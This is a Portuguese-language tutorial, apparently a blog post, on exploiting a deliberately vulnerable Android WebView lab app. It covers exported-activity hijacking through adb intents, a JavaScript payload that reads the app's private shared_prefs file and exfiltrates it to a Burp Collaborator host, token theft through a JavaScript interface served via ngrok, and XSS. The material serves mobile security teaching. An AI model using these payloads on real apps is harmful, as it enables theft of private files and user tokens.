Explorando vulnerabilidades do Android WebView
O que é o WebView?
A classe é uma extensão da classe do Android que permite exibir páginas da Web como parte do seu layout de atividade. Ele não inclui nenhum recurso de um navegador da Web totalmente desenvolvido, como controles de navegação ou uma barra de endereços. Tudo o que faz, por padrão, é mostrar uma página web.WebViewViewWebView
Para testes, usaremos o aplicativo de webview vulnerável para aprender a explorar manualmente o webview no aplicativo para Android. As credenciais para o login são nome de usuário:vuln e senha:webview (caso precisemos.)
aplicativo WebView vulnerável
WebViews são exportados
Antes de entrar na vulnerabilidade, precisamos ter certeza de que o WebViews faz parte do nosso aplicativo-alvo. Como o WebViews faz parte das atividades em um aplicativo, precisamos des compilar um apk para passar pelo Arquivo AndroidManifest.xml e as Atividades do aplicativo para verificar a presença do WebView vulnerável.
Vamos primeiro carregar nossa aplicação no de-compilador Jadx para analisar o manifesto e as atividades.
Agora, vamos ver quais são os componentes que são exportados. podemos concluir que um componente é exportado de 2 maneiras.
- Se o componente declarar explicitamente o atributo “exportado=true”
- Se o componente tiver filtros de intenção e nenhum atributo “exportado=falso”
alguns dos componentes SupportWebView, RegistrationWebView são explicitamente exportados e o MainActivity é exportado mencionando filtros de intenção pelos quais podemos confirmar que o WebViews está sendo usado pelo aplicativo.
Podemos ver que a função loadWebView, está carregando a url recebendo a string da intenção.
código webview
Assim, esse comportamento pode ser explorado por aplicativos de terceiros enviando uma intenção para este componente com uma sequência de url e o aplicativo de destino aceitará e executará como este componente foi exportado. ou seja, aplicativo de terceiros tem acesso ao componente webview no aplicativo de destino.
Exploração
Usaremos o ADB para enviar uma intenção ao componente e essa intenção abrirá uma página web maliciosa fornecida pelo invasor no contexto do aplicativo.
adb shell am start -n componentname --es string "domain.com"
adb shell para iniciar shell exclusivo em um dispositivo, am (gerenciador de atividades) iniciar, -n nome do componente, — es string extra seguido pela url. Assim, nosso adb cmd será como segue:
adb shell am start -n com.tmh.vulnwebview/.RegistrationWebView --es reg_url "https://3kal.medium.com"
enviando intenção para webviews
webview carregado com url atacante
NOTA: A maneira acima só funciona se o componente for exportado diretamente e isso não funcionar para componentes exportados por filtro de intenção.
conjuntoAllowUniversalAccessFromFileURLs habilitados para WebView
Outra configuração que o desenvolvedor pode configurar é permitir que o JavaScript seja executado dentro do contexto da URL do esquema de arquivos para acessar conteúdo de qualquer origem, incluindo outros URLs de esquema de arquivos.
Esta configuração remove todas as mesmas restrições de política de origem e permite que o webview faça solicitações à web a partir do arquivo que normalmente não é possível. ou seja, o Atacante pode ler arquivos locais usando o script java e enviá-los pela web para um domínio controlado pelo invasor.
Se o WebView for exportado, esse comportamento pode ser muito perigoso porque pode permitir que o invasor leia arquivos arbitrários que podem ser privados para o aplicativo.
conjuntoAllowUniversalAccessFromFileURLs
Exploração
Agora vamos ver como explorar essa configuração que foi usada no aplicativo acima.
conjuntoAllowUniversalAccessFromFileURLs
Agora, vamos criar a exploração para a vulnerabilidade no script java como discutido nos detalhes de vulnerabilidade.
Eu usei meu link de colaborador arroto para obter o conteúdo, você pode usar o que for útil para você.
<script>
var url = 'file:///data/data/com.tmh.vulnwebview/shared_prefs/MainActivity.xml'; //local file
function load(url) {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
fetch('https://8ktm71h4wjnqo72wgqbzvnr7jypodd.burpcollaborator.net/?exfiltrated=' + btoa(xhr.responseText)); //send b64 encoded file to attacker
}
}
xhr.open('GET', url, true);
xhr.send('');
}
load(url)
</script>
Exploração arbitrária de leitura de arquivos
Adicione o código acima ao sauafu.html e mova o arquivo para o sdcard usando adb.
empurrar explorar em dispositivo
Explorar carrega o conteúdo do arquivo local e devolve-o à url do invasor.
Agora execute a intenção com o arquivo de exploração.
adb shell am start -n com.tmh.vulnwebview/.RegistrationWebView --es reg_url "file:///sdcard/sauafu.html"
lançamento de intenção
página de registro vazia
Agora deveríamos ter recebido conteúdo de arquivo codificado na base 64 no colaborador do arroto ou o que você usou.
explorar poc
Podemos ver o conteúdo decodificado do arquivo que foi recebido na base 64 codificada na caixa da janela direita.
JavaScript ativado com interface para WebView
Os desenvolvedores podem habilitar o script java no webview adicionando essa configuração
webView.getSettings().setJavaScriptEnabled(true);
A adição desta configuração cria uma interface entre o script java da página web e o código java do lado do cliente do aplicativo. ou seja, o script java da página da Web pode acessar e injetar código java no aplicativo.
webView.addJavascriptInterface(new WebAppInterface(this), "Android");
se essa atividade for exportada, isso pode ser perigoso e permite que um invasor realize muitos ataques, incluindo XSS e roubando tokens do aplicativo.
Exploração
Para exploração deste cenário, não podemos fazer uso do mesmo Web View que acima, uma vez que ele não faz uso de interface. Assim, usaremos algum outro webView que tenha usado a interface.
webview de suporte
podemos usar o webview de suporte, pois você pode ver que o script java foi ativado juntamente com o uso da interface com o nome Android.
declaração de interface
<script type="text/javascript">
document.write("token: " + Android.getUserToken());
</script>
Este script grava o token gerando a partir do método getUserToken() a partir do objeto Android que era o nome da interface.
Hospede este script do servidor apache e conecte a porta 80 a ngrok para obter o link https (links http não podem ser usados).
sudo service apache2 start
./ngrok http 80
and use https ngrok link
adb shell am start -n com.tmh.vulnwebview/.Supportwebview --es support_url "https://8d95c0fe086f.ngrok.io/token.html"
intenção
token roubo
Podemos mostrar o alerta XSS apenas substituindo a linha document.write no código javascript acima por sua carga favorita xss.
<script type="text/javascript">
alert("kal");
</script>
Alerta XSS.
Cobrimos 4 vulnerabilidades relacionadas ao WebViews
- WebView exportado (WebView Hijacking)
- O acesso universal de arquivos do arquivo está ativado para WebView (Roubo de Arquivos)
- Uso do setJavaScript Ativado (XSS)
- Interface Javascript (roubo de token)
Nota: A maioria foi tirada como é do vídeo de Farah Hawa no youtube. Todos os créditos vão para ela, se você gosta do conteúdo, então por favor, assista ao vídeo e goste.
Autor: Kal